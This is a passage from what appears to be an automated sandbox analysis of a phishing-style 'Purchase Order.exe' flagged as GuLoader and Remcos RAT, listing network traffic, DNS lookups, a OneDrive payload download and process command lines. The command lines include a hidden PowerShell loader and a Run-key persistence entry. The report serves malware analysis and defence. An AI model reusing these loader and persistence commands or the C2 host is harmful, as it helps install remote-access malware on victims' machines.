May 13, 2024 06:04:09.503473997 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:09.547689915 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:09.726208925 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:09.930118084 CEST	49716	80	192.168.2.5	178.237.33.50
May 13, 2024 06:04:10.128483057 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:10.236584902 CEST	80	49716	178.237.33.50	192.168.2.5
May 13, 2024 06:04:10.236665010 CEST	49716	80	192.168.2.5	178.237.33.50
May 13, 2024 06:04:10.237616062 CEST	49716	80	192.168.2.5	178.237.33.50
May 13, 2024 06:04:10.548712969 CEST	80	49716	178.237.33.50	192.168.2.5
May 13, 2024 06:04:10.548789024 CEST	49716	80	192.168.2.5	178.237.33.50
May 13, 2024 06:04:10.566118002 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:10.956862926 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:11.547836065 CEST	80	49716	178.237.33.50	192.168.2.5
May 13, 2024 06:04:11.547904968 CEST	49716	80	192.168.2.5	178.237.33.50
May 13, 2024 06:04:12.437547922 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:12.439389944 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:12.842987061 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:42.450043917 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:42.451807976 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:42.858130932 CEST	6426	49715	103.253.17.222	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2024 06:04:02.742290974 CEST	54487	53	192.168.2.5	1.1.1.1
May 13, 2024 06:04:04.445508957 CEST	50457	53	192.168.2.5	1.1.1.1
May 13, 2024 06:04:06.893347979 CEST	54989	53	192.168.2.5	1.1.1.1
May 13, 2024 06:04:07.066059113 CEST	53	54989	1.1.1.1	192.168.2.5
May 13, 2024 06:04:09.768071890 CEST	51534	53	192.168.2.5	1.1.1.1
May 13, 2024 06:04:09.924969912 CEST	53	51534	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 13, 2024 06:04:02.742290974 CEST	192.168.2.5	1.1.1.1	0xd937	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:04.445508957 CEST	192.168.2.5	1.1.1.1	0xa437	Standard query (0)	kxwbha.am.files.1drv.com	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:06.893347979 CEST	192.168.2.5	1.1.1.1	0x44dc	Standard query (0)	tochisglobal.ddns.net	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:09.768071890 CEST	192.168.2.5	1.1.1.1	0xb14d	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 13, 2024 06:04:02.896969080 CEST	1.1.1.1	192.168.2.5	0xd937	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
May 13, 2024 06:04:02.896969080 CEST	1.1.1.1	192.168.2.5	0xd937	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 13, 2024 06:04:02.896969080 CEST	1.1.1.1	192.168.2.5	0xd937	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 13, 2024 06:04:02.896969080 CEST	1.1.1.1	192.168.2.5	0xd937	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:02.896969080 CEST	1.1.1.1	192.168.2.5	0xd937	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:04.655276060 CEST	1.1.1.1	192.168.2.5	0xa437	No error (0)	kxwbha.am.files.1drv.com	am-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
May 13, 2024 06:04:04.655276060 CEST	1.1.1.1	192.168.2.5	0xa437	No error (0)	am-files.fe.1drv.com	odc-am-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 13, 2024 06:04:07.066059113 CEST	1.1.1.1	192.168.2.5	0x44dc	No error (0)	tochisglobal.ddns.net		103.253.17.222	A (IP address)	IN (0x0001)	false
May 13, 2024 06:04:09.924969912 CEST	1.1.1.1	192.168.2.5	0xb14d	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

onedrive.live.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	178.237.33.50	80	6008	C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe

Timestamp	Bytes transferred	Direction	Data
May 13, 2024 06:04:10.237616062 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
May 13, 2024 06:04:10.548712969 CEST	1173	IN	HTTP/1.1 200 OK date: Mon, 13 May 2024 04:04:10 GMT server: Apache content-length: 965 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 39 31 2e 31 30 31 2e 36 31 2e 32 36 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4c 61 73 20 56 65 67 61 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 76 61 64 61 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"191.101.61.26", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Las Vegas", "geoplugin_region":"Nevada", "geoplugin_regionCode":"NV", "geoplugin_regionName":"Nevada", "geoplugin_areaCode":"", "geoplugin_dmaCode":"839", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"36.1685", "geoplugin_longitude":"-115.1164", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/Los_Angeles", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	13.107.137.11	443	6008	C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-13 04:04:03 UTC	271	OUT	GET /download?resid=7EB674A88CCF381D%21539&authkey=!AJYql7taWUIXlaI HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: onedrive.live.com Cache-Control: no-cache Cookie: MUID=02A1F39C44B160352D6AE03C40B16444
2024-05-13 04:04:04 UTC	1180	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://kxwbha.am.files.1drv.com/y4mpeceYAMLWx5PShbJGMk6tKW6mQBechZgu3aTbJoU6yxz1XJ53X1sSgh53U1m7pv4fA1MzcbPI83B_rXGbHf-ALSMmG7RkEdUQfjG2DyUucMWek9XIj3tn-7NAvq05pAnKWs1FMqyEpy_p6z5TEzLcKsUS12WYssawolVl0gOo85JGvcYIGUARfgxfUiP2PHZImAlpS5vGCbqTzkD6Gn_lQ/kDJUXtnufqHS82.bin?download&psid=1 Set-Cookie: E=P:V+AzugFz3Ig=:Zqcl3ZNb2DqYW5w/XxAGG3eBDZpKUcfktZAAbv85CHg=:F; domain=.live.com; path=/ Set-Cookie: xid=6ea35cc1-ef79-4469-ab4b-b73da4724b9f&&ODSP-ODWEB-ODCF&173; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Mon, 13-May-2024 02:24:03 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Mon, 20-May-2024 04:04:04 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5f77c98dd4-hkqzl X-ODWebServer: namsouthce155880-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 389F65DCB5184660A881CD35E2D87B35 Ref B: BY3EDGE0520 Ref C: 2024-05-13T04:04:03Z Date: Mon, 13 May 2024 04:04:03 GMT Connection: close Content-Length: 0

Target ID:	0
Start time:	06:02:46
Start date:	13/05/2024
Path:	C:\Users\user\Desktop\Purchase Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order.exe"
Imagebase:	0x400000
File size:	580'232 bytes
MD5 hash:	996CD1A4008E0FCA3750E9524BD13A9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	06:02:48
Start date:	13/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Encloser=Get-Content 'C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac';$Gulvhjderne229=$Encloser.SubString(2901,3);.$Gulvhjderne229($Encloser)"
Imagebase:	0x2d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2752200135.000000000B5E5000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	06:02:48
Start date:	13/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	06:02:49
Start date:	13/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	06:03:51
Start date:	13/05/2024
Path:	C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe"
Imagebase:	0x400000
File size:	580'232 bytes
MD5 hash:	996CD1A4008E0FCA3750E9524BD13A9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000002.3203656499.000000000788F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 8%, ReversingLabs Detection: 21%, Virustotal, Browse
Reputation:	low
Has exited:	false

Target ID:	8
Start time:	06:04:01
Start date:	13/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	06:04:01
Start date:	13/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:04:01
Start date:	13/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"
Imagebase:	0x110000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true